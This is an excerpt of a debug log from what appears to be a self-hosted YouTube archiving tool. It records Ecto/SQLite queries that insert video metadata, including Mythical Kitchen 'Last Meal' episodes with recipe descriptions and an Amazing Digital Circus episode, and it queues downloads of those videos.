s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:37.678 [debug] QUERY OK source="media_items" db=0.3ms idle=1118.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-10-28 10:00:09Z], 1] 20:48:37.681 [debug] QUERY OK source="media_items" db=1.4ms idle=1113.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking the meal he would want on death row. MK # 086\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/ga4DVQDMoi7pL1GcA\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nTime Codes:\n--------------------------\nFirst Course - 1:15\nSecond Course - 6:38\nThird Course - 11:44\n\nRecipe:\n--------------------------\nStep 1: Make the shrimp cocktail\nIngredients\n* Jumbo shrimp\n* Peppercorns\n* Salt\n* Garlic\n* Lemons\n* Bay leaf\n* Parsley\n* Dashi concentrate\n* Ice bath\nSauce\n* Ketchup\n* Worcestershire\n* Lemon\n* Hot sauce\n* Horseradish\n\n1) Peel and devein the shrimp.\n2) Toast peppercorns in the pot then add water, dashi concentrate, garlic, bay leaf, salt, and parsley.\n3) Add the shrimp and boil for a two minutes then pull and add to an ice bath,\n4) While shrimp is icebathing, whisk together the stuff for the cocktail sauce.\n5) Plate it.\n\nEquipment\n* Large saucepot\n* Spider\nI* ce bath in mixing bowl\n* Whisk\n* Medium mixing bowl\n* Martini glass filled with shredded iceberg lettuce\n\nStep 2: Make the garlic bread with ranch\nIngredients\n* 1 loaf ciabatta bread (preferably long, like a baguette)\n* Softened unsalted butter\n* 5 garlic cloves\n* Garlic powder\n* Chopped parsley\n* Salt and pepper\n* Ranch\n* Mayonnaise\n* Sour cream\n* Worcestershire\n* Red wine vinegar\n* Chopped parsley\n* Chopped chives\n* Dill\n* Black pepper\n* Crumbled Humboldt fog cheese\n* Milk\n\n1) Heat the oven to 500 degrees and cut the loaf of bread in half.\n2) Grate the garlic cloves into the butter then add garlic powder, black pepper, salt, and parsley.\n3) Spread the butter thickly on the bread and toast it for 8 minutes.\n4) Whisk all the ranch things together,\n\nEquipment\n* 2 medium mixing bowls\n* Whisk\n* Silicone spatula\n* Little condiment bowl\n* Baking sheet + rack\n\nStep 3: Carne asada burrito\nIngredients\n* 1 lb nice-ass rib-eye steak\n* Salt\n* Pepper\n* Paprika\n* Onion powder\n* Garlic\n* Chili powder\n* 2 ripe avocados\n* Chopped white onion\n* Chopped cilantro\n* Chopped jalapeno\n* Lime wedges\n* Shredded jack cheese\n1 Burrito Grande riquisimas tortilla\n1 bowl pico de gallo\n* Bottle of arizona gunslinger hot sauce\n\n1) Finely dice rib eye and add seasonings to it. Mash it together with your hands.\n2) Put avocado into a bowl and add lime juice, salt, onion, jalapeno, and cilantro. \n3) Heat veg oil in a cast iron on high heat and add the steak. Cook until nicely charred for ab" <> ..., "Josh Eats His Last Meal", "8b364709-449e-4d86-a6b4-ba76dac03a8c", "https://www.youtube.com/watch?v=IzrU7pGbusU", false, "IzrU7pGbusU", 1317, false, 65, "/downloads/Last Meals/2021-10-28 Josh Eats His Last Meal/Josh Eats His Last Meal [IzrU7pGbusU].mp4", false, false, 1, [], 0, ~U[2021-10-28 10:00:09Z], ~U[2026-03-28 00:48:37Z], ~U[2026-03-28 00:48:37Z], "Today, Josh is cooking the meal he would want on death row. MK # 086\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/ga4DVQDMoi7pL1GcA\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nTime Codes:\n--------------------------\nFirst Course - 1:15\nSecond Course - 6:38\nThird Course - 11:44\n\nRecipe:\n--------------------------\nStep 1: Make the shrimp cocktail\nIngredients\n* Jumbo shrimp\n* Peppercorns\n* Salt\n* Garlic\n* Lemons\n* Bay leaf\n* Parsley\n* Dashi concentrate\n* Ice bath\nSauce\n* Ketchup\n* Worcestershire\n* Lemon\n* Hot sauce\n* Horseradish\n\n1) Peel and devein the shrimp.\n2) Toast peppercorns in the pot then add water, dashi concentrate, garlic, bay leaf, salt, and parsley.\n3) Add the shrimp and boil for a two minutes then pull and add to an ice bath,\n4) While shrimp is icebathing, whisk together the stuff for the cocktail sauce.\n5) Plate it.\n\nEquipment\n* Large saucepot\n* Spider\nI* ce bath in mixing bowl\n* Whisk\n* Medium mixing bowl\n* Martini glass filled with shredd (truncated) 20:48:37.681 [debug] QUERY OK source="sources" db=0.1ms idle=561.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:37.681 [debug] QUERY OK source="media_profiles" db=0.0ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:37.682 [debug] QUERY OK source="media_items" db=0.1ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [67] 20:48:37.682 [info] Kicking off download for media item #67 (IzrU7pGbusU) 20:48:37.683 [debug] QUERY OK source="tasks" db=0.0ms idle=1.7ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [72, 67, ~U[2026-03-28 00:48:37Z], ~U[2026-03-28 00:48:37Z]] 20:48:37.683 [debug] Current batch of media processed. Will check again in 1000ms 20:48:38.137 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "The gang are back together to go on their next SPOOKY adventure. Kinger gets a shotgun! Zooble goes to therapy! Pomni goes to hell! So much fun awaits!!!!!\n\nALSO, a whole new line of Digital circus merch items just dropped; https://digitalcircus.store/ Consider getting something to help support the production of more episodes. No pressure though! Have a great day ❤️\n\nLast but not leasttt, you can also pre-order the Pomni Nendroid here https://s.goodsmile.link/jey\n\nLicense code: Z2P7KNUX7AQ9CLHA", "duration" => 1483, "filename" => "/downloads/TADC/2024-10-04 THE AMAZING DIGITAL CIRCUS - Ep 3: The Mystery Of Mildenhall Manor/THE AMAZING DIGITAL CIRCUS - Ep 3: The Mystery Of Mildenhall Manor [bKjfw77cxeQ].mp4", "id" => "bKjfw77cxeQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=bKjfw77cxeQ", "playlist_index" => 3, "timestamp" => 1728079231, "title" => "THE AMAZING DIGITAL CIRCUS - Ep 3: The Mystery Of Mildenhall Manor", "upload_date" => "20241004"} 20:48:38.137 [debug] QUERY OK source="sources" db=0.0ms idle=455.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:48:38.138 [debug] QUERY OK source="sources" db=0.0ms idle=455.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:38.138 [debug] QUERY OK source="media_items" db=0.1ms idle=455.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-04 22:00:31Z], 2] 20:48:38.141 [debug] QUERY OK source="media_items" db=3.2ms idle=455.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["The gang are back together to go on their next SPOOKY adventure. Kinger gets a shotgun! Zooble goes to therapy! Pomni goes to hell! So much fun awaits!!!!!\n\nALSO, a whole new line of Digital circus merch items just dropped; https://digitalcircus.store/ Consider getting something to help support the production of more episodes. No pressure though! Have a great day ❤️\n\nLast but not leasttt, you can also pre-order the Pomni Nendroid here https://s.goodsmile.link/jey\n\nLicense code: Z2P7KNUX7AQ9CLHA", "THE AMAZING DIGITAL CIRCUS - Ep 3: The Mystery Of Mildenhall Manor", "c3fa2354-a1cc-4275-bef3-9cb9e33f15fe", "https://www.youtube.com/watch?v=bKjfw77cxeQ", false, "bKjfw77cxeQ", 1483, false, 3, "/downloads/TADC/2024-10-04 THE AMAZING DIGITAL CIRCUS - Ep 3: The Mystery Of Mildenhall Manor/THE AMAZING DIGITAL CIRCUS - Ep 3: The Mystery Of Mildenhall Manor [bKjfw77cxeQ].mp4", false, false, 2, [], 0, ~U[2024-10-04 22:00:31Z], ~U[2026-03-28 00:48:38Z], ~U[2026-03-28 00:48:38Z], "The gang are back together to go on their next SPOOKY adventure. Kinger gets a shotgun! Zooble goes to therapy! Pomni goes to hell! So much fun awaits!!!!!\n\nALSO, a whole new line of Digital circus merch items just dropped; https://digitalcircus.store/ Consider getting something to help support the production of more episodes. No pressure though! Have a great day ❤️\n\nLast but not leasttt, you can also pre-order the Pomni Nendroid here https://s.goodsmile.link/jey\n\nLicense code: Z2P7KNUX7AQ9CLHA", "THE AMAZING DIGITAL CIRCUS - Ep 3: The Mystery Of Mildenhall Manor", "https://www.youtube.com/watch?v=bKjfw77cxeQ", "bKjfw77cxeQ", 1483, false, "/downloads/TADC/2024-10-04 THE AMAZING DIGITAL CIRCUS - Ep 3: The Mystery Of Mildenhall Manor/THE AMAZING DIGITAL CIRCUS - Ep 3: The Mystery Of Mildenhall Manor [bKjfw77cxeQ].mp4", false, 2, ~U[2024-10-04 22:00:31Z]] 20:48:38.141 [debug] QUERY OK source="sources" db=0.0ms idle=20.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:38.142 [debug] QUERY OK source="media_profiles" db=0.0ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:38.142 [debug] QUERY OK source="media_items" db=0.0ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [68] 20:48:38.142 [info] Kicking off download for media item #68 (bKjfw77cxeQ) 20:48:38.143 [debug] QUERY OK source="tasks" db=0.0ms idle=1.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [73, 68, ~U[2026-03-28 00:48:38Z], ~U[2026-03-28 00:48:38Z]] 20:48:38.143 [debug] Current batch of media processed. Will check again in 1000ms 20:48:38.684 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Ed Sheeran eats his last meal.\n\nGood Mythical Evening is blasting off October 23rd at 10PM EST / 7PM PST. Get your tickets NOW at https://mythic.al/GME\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Ed's Last Meal\n0:30 Wanted For Theft\n1:04 Have You Thought About Your Last Meal Before?\n1:38 How Often Do You Think About Death?\n2:27 1st Course\n6:08 Ed's New Album, PLAY\n6:41 Music Is A Passport\n9:30 Family On Tour\n11:14 2nd Course\n12:00 Society Likes An Underdog Story\n12:56 People Have Their Mind Made Up\n14:35 The Little Kid Inside\n16:15 3rd Course\n18:09 What Would Be Your Final Album?\n20:06 Finding Balance With Alcohol\n21:52 Ed's Favorite Book Series\n24:15 4th Course\n27:59 Death & Grief\n31:35 Songwriting Through Feelings\n32:35 Having A Will (It's An Album)\n34:09 Lightning Round\n36:37 Ed's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "duration" => 2257, "filename" => "/downloads/Last Meals/2025-10-09 Ed Sheeran Eats His Last Meal/Ed Sheeran Eats His Last Meal [sYlEkm9bcRU].mp4", "id" => "sYlEkm9bcRU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=sYlEkm9bcRU", "playlist_index" => 66, "timestamp" => 1760004085, "title" => "Ed Sheeran Eats His Last Meal", "upload_date" => "20251009"} 20:48:38.685 [debug] QUERY OK source="sources" db=0.2ms idle=542.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:38.685 [debug] QUERY OK source="sources" db=0.1ms idle=543.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:38.686 [debug] QUERY OK source="media_items" db=0.2ms idle=543.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-09 10:01:25Z], 1] 20:48:38.687 [debug] QUERY OK source="media_items" db=1.1ms idle=543.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Ed Sheeran eats his last meal.\n\nGood Mythical Evening is blasting off October 23rd at 10PM EST / 7PM PST. Get your tickets NOW at https://mythic.al/GME\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Ed's Last Meal\n0:30 Wanted For Theft\n1:04 Have You Thought About Your Last Meal Before?\n1:38 How Often Do You Think About Death?\n2:27 1st Course\n6:08 Ed's New Album, PLAY\n6:41 Music Is A Passport\n9:30 Family On Tour\n11:14 2nd Course\n12:00 Society Likes An Underdog Story\n12:56 People Have Their Mind Made Up\n14:35 The Little Kid Inside\n16:15 3rd Course\n18:09 What Would Be Your Final Album?\n20:06 Finding Balance With Alcohol\n21:52 Ed's Favorite Book Series\n24:15 4th Course\n27:59 Death & Grief\n31:35 Songwriting Through Feelings\n32:35 Having A Will (It's An Album)\n34:09 Lightning Round\n36:37 Ed's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Ed Sheeran Eats His Last Meal", "a8e30a46-0007-4f35-ad72-0761be75d695", "https://www.youtube.com/watch?v=sYlEkm9bcRU", false, "sYlEkm9bcRU", 2257, false, 66, "/downloads/Last Meals/2025-10-09 Ed Sheeran Eats His Last Meal/Ed Sheeran Eats His Last Meal [sYlEkm9bcRU].mp4", false, false, 1, [], 0, ~U[2025-10-09 10:01:25Z], ~U[2026-03-28 00:48:38Z], ~U[2026-03-28 00:48:38Z], "Today, Ed Sheeran eats his last meal.\n\nGood Mythical Evening is blasting off October 23rd at 10PM EST / 7PM PST. Get your tickets NOW at https://mythic.al/GME\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Ed's Last Meal\n0:30 Wanted For Theft\n1:04 Have You Thought About Your Last Meal Before?\n1:38 How Often Do You Think About Death?\n2:27 1st Course\n6:08 Ed's New Album, PLAY\n6:41 Music Is A Passport\n9:30 Family On Tour\n11:14 2nd Course\n12:00 Society Likes An Underdog Story\n12:56 People Have Their Mind Made Up\n14:35 The Little Kid Inside\n16:15 3rd Course\n18:09 What Would Be Your Final Album?\n20:06 Finding Balance With Alcohol\n21:52 Ed's Favorite Book Series\n24:15 4th Course\n27:59 Death & Grief\n31:35 Songwriting Through Feelings\n32:35 Having A Will (It's An Album)\n34:09 Lightning Round\n36:37 Ed's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is 